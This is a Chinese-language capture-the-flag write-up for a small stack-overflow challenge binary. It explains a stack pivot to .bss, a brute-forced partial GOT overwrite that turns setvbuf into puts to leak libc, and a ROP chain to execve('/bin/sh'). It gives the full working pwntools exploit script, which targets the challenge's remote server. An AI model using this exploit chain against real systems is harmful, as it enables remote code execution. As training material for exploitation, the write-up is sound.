检查程序

程序语义很简单,buf数组最多有0x10的溢出,No canary,开了NX,没有任何的输出函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[160]; // [rsp+0h] [rbp-A0h] BYREF

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  read(0, buf, 0xB0uLL);
  return 0;
}

思路

因为能溢出的数据不多,自然先考虑控制rbp进行栈迁移到bss段,没有输出的函数的话,考虑将setvbuf的got地址覆盖为puts函数的地址,官方给出了对应的libc版本,是GLIBC 2.31-0ubuntu9.7,发现setvbuf和puts只有低12位不同,只需覆盖最低2个字节既可,爆破的概率是1/16。成功覆盖后打印read函数的got地址就能拿到libc地址,然后就是常规的拿shell了。 利用的关键点有两个:栈迁移到bss,覆盖setvbuf从而leak libc

from pwn import *
from sys import argv

context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
context.terminal = ['tmux','splitw','-h']

binary = './checkin'
elf = ELF('./checkin')
libc = ELF('./libc.so.6')

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims             :p.recvuntil(delims)
rl      = lambda                    :p.recvline()
rls     = lambda num=1              :p.recvlines(num)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))

while True:
        try:
                p = process(binary)
                if argv[1] == 'r':
                        p = remote('node4.buuoj.cn', 25751)
                bss = 0x404500
                read_start = 0x4011BF
                rdi = 0x0401253
                rsir15 = 0x0401251
                rbp = 0x040113d
                leave = 0x4011E2
                rdxr12 = 0x119241

                setvbuf_got = elf.got['setvbuf']
                read = elf.symbols['read']
                fake_puts = elf.symbols['setvbuf']
                read_got = elf.got['read']
                log.success('setvbuf_got ' + hex(setvbuf_got))
                log.success('fake_puts ' + hex(fake_puts))
                log.success('read_got ' + hex(read_got))

                # read payload to bss
                pay = b'b'*0xA0+p64(bss+0xa0)+p64(read_start)
                s(pay)
                print(pay)

                # overwrite setvbuf_got to puts_got
                make_puts = p64(rdi)+p64(0)+p64(rsir15)+p64(setvbuf_got)+p64(0)+p64(read)
                # puts_got read_got
                leak_read = p64(rdi)+p64(read_got)+p64(fake_puts) +p64(rbp) + p64(bss+0xa0+0x100)+ p64(read_start)
                exp = make_puts 
                exp += leak_read
                print(hex(len(exp)))

                # stack pivoting to bss
                pay2 = exp.ljust(0xa0, b'b')+p64(bss-8)+p64(leave)
                s(pay2)
                print(pay2)

                sleep(0.2)
                # try to overwrite setvbuf_got[16:0]
                s(p16(0x4450))

                # leak libc
                libc_base = uu64(ru('\x7f')[-6:]) - libc.symbols['read']
                binsh = libc_base + next(libc.search(b'/bin/sh'))
                execve = libc_base + 0xE31A0
                pop_rdx_r12_ret = libc_base + rdxr12

                log.success('libc_base ' + hex(libc_base))
                log.success('binsh ' + hex(binsh))
                log.success('execve ' + hex(execve))

                sleep(1)

                # execve(rdi='binsh', rsi=0, rdx=0)
                exp2 = p64(rdi) + p64(binsh) + p64(rsir15) + p64(0)*2 + p64(pop_rdx_r12_ret) + p64(0)*2 + p64(execve)
                pay3 = exp2.ljust(0xa0, b'b')+p64(bss+0x100-8)+p64(leave)
                s(pay3)
                print(pay3)

                sl('cat flag')
                itr()

        except:
                p.close()
                pass

Reference